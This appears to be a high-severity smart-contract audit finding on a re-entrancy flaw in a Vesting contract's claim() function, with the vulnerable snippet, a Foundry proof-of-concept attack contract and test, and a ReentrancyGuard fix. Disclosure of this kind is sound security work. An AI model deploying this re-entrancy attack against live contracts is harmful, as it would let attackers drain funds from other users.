Fierce Scarlet Sawfish

high

# Users can claim vested tokens more than once through re-entrancy

## Summary

When uses call Vesting.claim(), if the token is set to `address(1)` which represents Eth the Vesting contract will send Eth to the claimer. Unfortunately, based on how Vesting.claim() works, the claimer can then maliciously re-enter the Vesting.claim() function and claim more tokens than should be allowed.

## Vulnerability Detail

Vesting.claim() prevents users from claiming more tokens than allowed by updating the claimer's index at the end of Vesting.claim(). Because the index occurs AFTER Ether is sent to the claimer, the claimer can re-enter the claim function:

```solidity
if (pctAmount != 0) {
    if (address(token) == address(1)) {
        (bool sent, ) = payable(sender).call{value: pctAmount}("");
        require(sent, "Failed to send BNB to receiver");
    } else {
        token.safeTransfer(sender, pctAmount);
    }
    // AUDIT: this occurs AFTER sending Ether to the claimer
    s.index = uint128(i);
    s.amountClaimed += pctAmount;
}
```

Below is a forge test showing how this re-entrancy can occur:

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vesting, IERC20} from "../contracts/Vesting.sol";
import {ERC20} from "../node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SafeERC20} from "../node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

contract AttackContract {
  Vesting vesting;
  bool private locked;

  constructor(Vesting _vesting) {
      vesting = _vesting;
      locked = false;
  }

  function attack() public {
      require(!locked, "Re-entrancy in progress");
      vesting.claim();
  }

  // Fallback function to receive Ether
  receive() external payable {
      if (!locked) {
          locked = true;
          vesting.claim();
          locked = false;
      }
  }
}

contract VestingTest is Test  {
  Vesting vesting;
  address operator = address(0x01);
  address claimer1;
  address claimer2 = address(0x06);
  IERC20 public token;

  function setUp() public {
      vesting = new Vesting();
      claimer1 = address(new AttackContract(vesting));

      address tokenSale = address(0x02);
      address distributionWallet = address(0x04);

      uint128[2][] memory vestingPoints = new uint128[2][](2);
      vestingPoints[0] = [uint128(block.timestamp + 1 days), uint128(5000)];
      vestingPoints[1] = [uint128(block.timestamp + 2 days), uint128(5000)];

      vesting.initialize(
        operator, 
        tokenSale, 
        IERC20(address(1)), 
        distributionWallet, 
        vestingPoints
      );


      deal(distributionWallet, 100e18);

      address[] memory users = new address[](2);
      users[0] = claimer1;
      users[1] = claimer2;

      uint256[] memory amounts = new uint256[](2);
      amounts[0] = 10e18;
      amounts[1] = 10e18;

      vm.prank(operator);

      // AUDIT: There is a separate bug that prevents calling updateUserDeposit when token is set to address(1) 
      vm.mockCall(
        address(1),
        abi.encodeWithSelector(bytes4(keccak256("safeTransferFrom(address,address,uint256)"))),
        abi.encode(10)
      );
      // AUDIT: Since updateUserDeposit is broken with Ether, let's still submit 20e18 to the dist wallet 
      deal(distributionWallet, 20e18);
      deal(address(vesting), 20e18);
      vesting.updateUserDeposit(users, amounts);
      
  }

  function testReenteringClaim() public { 
    // Claimer 1 claims
    vm.warp(block.timestamp + 5 days);
    vm.prank(claimer1);
    vesting.claim();

    vm.expectRevert();
    vesting.claim();
  }
}
```

## Impact

## Code Snippet

https://github.com/sherlock-audit/2024-03-zap-protocol/blob/main/zap-contracts-labs/contracts/Vesting.sol?plain=1#L67-L92

## Tool used

Manual Review

## Recommendation

The protocol should add a re-entrancy modifier using something like OpenZeppelin's [ReentrancyGuard](https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard) to prevent re-entrancy.
